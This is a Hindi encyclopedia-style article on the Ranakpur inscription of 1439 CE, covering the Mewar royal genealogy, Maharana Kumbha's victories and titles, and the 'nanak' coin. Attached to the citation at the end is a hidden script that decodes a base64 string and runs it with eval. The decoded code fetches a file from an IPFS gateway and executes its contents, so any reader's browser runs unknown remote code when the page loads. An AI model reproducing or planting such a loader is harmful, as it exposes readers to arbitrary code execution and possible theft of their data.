रणकपुर प्रशस्ति

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रणकपुर प्रशस्ति (अंग्रेज़ी: Ranakpur Inscriptions) का प्रशस्तिकार देपाक था। इसमें मेवाड़ के राजवंश एवं धरणक सेठ के वंश का वर्णन मिलता है। इसमें बप्पा एवं कालभोज को अलग-अलग व्यक्ति बताया गया है। इसमें महाराणा कुंभा की विजयों एवं उपाधियों का वर्णन है। रणकपुर प्रशस्ति में गुहिलों को बप्पा रावल का पुत्र बताया गया है।

  • रणकपुर के चोमुखा जैन मंदिर में स्थापित इस लेख में बप्पा से कुंभा तक की वंशावली दी गई है, जिसमें बप्पा को गुहिल का पिता माना गया है।[1]
  • इस लेख की वंशावली में महेंद्र, अपराजिता आदि कई नाम जोड़ दिए गए। फिर भी कुंभा के वर्णन के लिए बड़ा महत्व रखता है।
  • इसमें महाराणा की प्रारंभिक विजय बूंदी, गागरोन, सारंगपुर, नागौर, अजमेर, मंडोर, मांडलगढ़ आदि का वर्णन है।
  • मेवाड़ में प्रचलित नाणक नामक मुद्रा का साक्ष्य मिलता है। स्थानीय भाषा में आज भी नाणा शब्द मुद्रा के लिए काम में लिया जाता है।
  • डॉ. गोपीनाथ शर्मा लिखते हैं कि यह प्रशस्ति रणकपुर के चौमुख मंदिर के बाएं स्तंभ में लगी हुई थी। इसमें 47 पंक्तियां हैं। इसमें मेवाड के राजवंश, धरणा श्रेष्टी वंश तथा उसके शिल्पी का पता लगता है। इसमें कुंभा का वर्णन किया गया है और उसके विरुदों और विजयों का वर्णन है।
  • रणकपुर शिलालेख में गोगाजी को एक लोकप्रिय वीर माना गया है। यह शिलालेख वि. 1496 (1439 ई.) का है।


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टीका टिप्पणी और संदर्भ

  1. राजस्थान के अभिलेख (हिंदी) govtexamsuccess.com। अभिगमन तिथि: 13 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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